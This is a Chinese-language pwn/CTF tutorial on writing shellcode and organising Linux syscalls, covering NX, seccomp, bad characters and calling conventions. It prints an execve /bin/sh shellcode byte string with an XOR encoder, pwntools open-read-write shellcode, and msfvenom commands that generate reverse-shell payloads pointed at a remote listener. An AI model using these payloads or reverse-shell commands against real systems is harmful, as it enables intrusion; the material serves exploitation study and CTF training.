shellcode与syscall
shellcode与syscall
本文适合
已经理解 栈、返回地址与控制流 和 ROP基础,准备直接写机器码或系统调用链的 Pwn 学习者。学完你能:按目标架构写出最小 execve 或 ORW shellcode,判断 NX/seccomp/bad char 对路线的影响,并用 syscall 编号和调用约定验证 payload
shellcode 是攻击者构造的一小段机器码。syscall 是用户态程序请求内核服务的方式。理解它们,有助于从“调用现有函数”走向“直接组织系统调用”。
shellcode 是什么
shellcode 最初常指用于获取 shell 的机器码。
现在它泛指在利用中注入并执行的小段代码。
shellcode 可以做很多事:
- 执行
/bin/sh。 - 读取文件。
- 写出内存。
- 连接远程主机。
- 修改权限。
它不是脚本,而是目标架构上的机器指令。
为什么会受 NX 影响
如果 NX 开启,栈和堆通常不可执行。
这时即使你把 shellcode 写进内存,也不能直接跳过去运行。
常见解决方式:
- 用 ROP基础 调用
mprotect或mmap改内存权限。 - 不执行 shellcode,改用 ROP 调 libc。
- 用 syscall ROP 完成目标。
syscall 是什么
syscall 是进入内核的接口。
在 x86-64 Linux 中,常见约定是:
rax syscall number
rdi 第 1 个参数
rsi 第 2 个参数
rdx 第 3 个参数执行 syscall 指令后,内核根据 rax 中的编号执行对应系统调用。
shellcode 常见限制
输入可能不能包含空字节。
长度可能很短。
字符集可能被限制。
内存地址可能随机化。
seccomp 可能禁止某些 syscall。
因此 shellcode 题常常不是“写出功能”这么简单,还要适配约束。
open-read-write 思路
在有 seccomp沙箱 的题里,不能直接 execve。
这时常见目标是:
open("flag")
read(fd, buf, size)
write(1, buf, size)shellcode 和 syscall ROP 都可以围绕这个目标设计。
shellcode 编写技巧
shellcode 编写需要避免坏字符、控制长度、适配架构。
避免坏字符
常见坏字符包括空字节 \x00、换行 \x0a、回车 \x0d、空格 \x20。
避免空字节的常用技巧:
- 用
xor代替mov reg, 0。 - 用
sub或add构造目标值。 - 用
push+pop间接赋值。 - 用
and清零特定位。
# 坏示例:mov rax, 0 包含空字节
48 c7 c0 00 00 00 00
# 好示例:xor rax, rax 无空字节
48 31 c0shellcode 精简
shellcode 越短,越容易塞进有限缓冲区。
精简技巧:
- 复用寄存器。
- 合并多条指令为一条。
- 利用栈操作代替 mov。
- 跳过不必要的对齐。
位置无关代码
shellcode 不能依赖固定地址,因为每次加载位置可能不同。
常用技巧:
- 用
call+pop获取当前地址。 - 用
jmp/call相对跳转。 - 用
lea从 RIP 计算字符串地址。
# 获取当前 PC 的经典技巧
call next
next:
pop rsi ; rsi 现在指向 call 之后的地址syscall 调用约定
x86-64 Linux 调用约定
rax = syscall number
rdi = 第1个参数
rsi = 第2个参数
rdx = 第3个参数
r10 = 第4个参数(注意不是 rcx)
r8 = 第5个参数
r9 = 第6个参数
syscall 指令触发调用
返回值在 rax 中常用 syscall 编号(x86-64)
0 read(fd, buf, count)
1 write(fd, buf, count)
2 open(filename, flags, mode)
3 close(fd)
59 execve(filename, argv, envp)
60 exit(code)
231 exit_group(code)
257 openat(dirfd, filename, flags, mode)i386 调用约定
eax = syscall number
ebx = 第1个参数
ecx = 第2个参数
edx = 第3个参数
esi = 第4个参数
edi = 第5个参数
ebp = 第6个参数
int 0x80 触发调用ARM64 调用约定
x8 = syscall number
x0-x5 = 参数
svc #0 触发调用
返回值在 x0 中shellcode 编码绕过
字母数字 shellcode
当输入只允许字母和数字时,需要编码 shellcode。
常用方法:
- OMAP:把每条指令编码为字母数字对。
- Shikata Ga Nai:多态编码器,每次生成不同结果。
- 自定义 XOR 编码:用 XOR 密钥避开坏字符,解码器放在 shellcode 前面。
# 简单 XOR 编码 shellcode
def xor_encode(shellcode, key):
encoded = bytearray()
for b in shellcode:
encoded.append(b ^ key)
return bytes(encoded)
# 原始 shellcode
sc = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# 用 0x41 编码
encoded = xor_encode(sc, 0x41)
print("Encoded:", encoded.hex())空字节自解码器
当 shellcode 不能包含空字节,但目标缓冲区可能以空字节结尾时,需要先放入不含空字节的解码器,解码器运行后再还原真实 shellcode。
msfvenom 使用
msfvenom 是 Metasploit 的 payload 生成工具。
常用命令
# 生成 reverse shell shellcode(Linux x86-64)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shellcode.bin
# 生成 execve /bin/sh
msfvenom -p linux/x64/exec CMD=/bin/sh -f raw
# 列出可用 payload
msfvenom -l payloads | grep linux/x64
# 指定编码器避免坏字符
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -e x64/xor -b '\x00'
# 输出为 Python 格式
msfvenom -p linux/x64/exec CMD=/bin/sh -f py
# 输出为 C 数组
msfvenom -p linux/x64/exec CMD=/bin/sh -f cmsfvenom 常用格式
raw 原始字节流
py Python 变量
c C 数组
hex 十六进制字符串
elf ELF 可执行文件
exe Windows 可执行文件CTF 中的使用注意
msfvenom 生成的 shellcode 通常较长,CTF 中缓冲区可能放不下。
解决方案:
- 使用
-f raw获取纯 shellcode 手动精简。 - 使用
--smallest选项。 - 手写精简版 shellcode。
- 只用 msfvenom 生成框架,手动修改关键部分。
常见误区
- 以为 shellcode 一定是拿 shell。
- 忽略架构和 syscall number。
- NX 开启还直接跳栈上 shellcode。
- 不检查 bad chars。
- seccomp 存在时仍然写 execve shellcode。
- 不区分 32 位和 64 位 syscall 编号。
- 用 msfvenom 生成的 shellcode 不验证就直接使用。
一句话判断
当题目允许执行可控内存,或可以用 ROP/SROP 直接组织 syscall 时,就把目标拆成 shellcode 或 syscall 链。
如果 NX 开启,shellcode 不是不能用,而是要先通过 mprotect/mmap 改权限,或者改走纯 syscall ROP。
题目中常见信号
checksec显示 NX disabled,栈或堆可执行。- 题目提示 shellcode 长度、字符集或 forbidden bytes。
- 程序有
mprotect、mmap、syscall; ret。 - seccomp 禁止
execve,要求读 flag 文件。 - 输入被反转、过滤、大小写转换或只允许可打印字符。
- 远程没有 libc 或不能稳定 ret2libc。
核心概念
syscall 不是函数调用。x86-64 Linux 最小约定:
rax = syscall number
rdi = arg1
rsi = arg2
rdx = arg3
syscallshellcode 是机器码,必须匹配架构、权限和输入限制。最常见目标:
execve("/bin/sh", 0, 0)
open/read/write("flag")
mprotect(page, size, 7) -> jump shellcode最小分析流程
checksec判断 NX 是否允许直接执行。seccomp-tools dump ./vuln判断 syscall 是否被过滤。- 确认架构:amd64、i386、ARM64。
- 列 bad chars:
\x00、\x0a、空格、非字母数字等。 - 选择路线:直接 shellcode、mprotect + shellcode、syscall ROP、SROP。
- 用
asm(shellcraft...)或手写汇编生成字节。 - 本地用 GDB 单步确认寄存器和 syscall 返回值。
- 远程失败时检查 syscall 编号、文件名路径、fd、seccomp 和权限。
最小验证示例
生成 ORW shellcode:
from pwn import *
context.arch = "amd64"
sc = shellcraft.open("flag")
sc += shellcraft.read("rax", "rsp", 0x100)
sc += shellcraft.write(1, "rsp", 0x100)
payload = asm(sc)
assert b"\x00" not in payload验证 syscall ROP 的寄存器:
rax = 2
rdi = &"flag"
rsi = 0
rdx = 0
rip = syscall; ret成功标准:每个 syscall 返回值合理,例如 open 返回 fd >= 3,read 返回正数,write 输出 flag 内容。
常见利用 / 解题路线
路线总览:
路线一:NX 关闭直接 shellcode
把 shellcode 放到栈、堆或 .bss,覆盖 RIP 跳过去执行。
路线二:mprotect / mmap
NX 开启但允许改权限时,先让目标页变成 RWX,再跳 shellcode。
路线三:ORW shellcode
execve 被禁时,用 open/read/write 或 openat/read/write 读取 flag。
路线四:syscall ROP
不执行注入代码,只用 gadget 设置寄存器并执行 syscall; ret。
路线五:编码 shellcode
输入受限时,用 XOR、自解码器、alphanumeric 或分段写入绕过 bad chars。
常见失败原因
- 架构错:amd64 shellcode 放到 i386 进程里不会工作。
- NX 拦截:可写内存不一定可执行。
- bad char 截断:
\x00、\x0a导致 payload 少写。 - syscall number 错:32 位和 64 位编号不同。
- seccomp 禁止:
execveshellcode 被 kill,需要 ORW。 - fd 假设错误:
open返回不一定总是 3,要看前面打开了多少文件。 - 文件名路径错:远程可能是
/flag、flag.txt或当前目录 flag。
迷你案例
题目保护:
NX disabled
No PIE
seccomp: only read/write/open allowed不能起 shell,但可以读文件。构造:
sc = shellcraft.open("flag")
sc += shellcraft.read("rax", "rsp", 0x80)
sc += shellcraft.write(1, "rsp", 0x80)
payload = asm(sc)覆盖返回地址跳到 shellcode 所在 buffer。WP 中要说明为什么不用 execve,以及每个 syscall 的参数和返回值如何确认。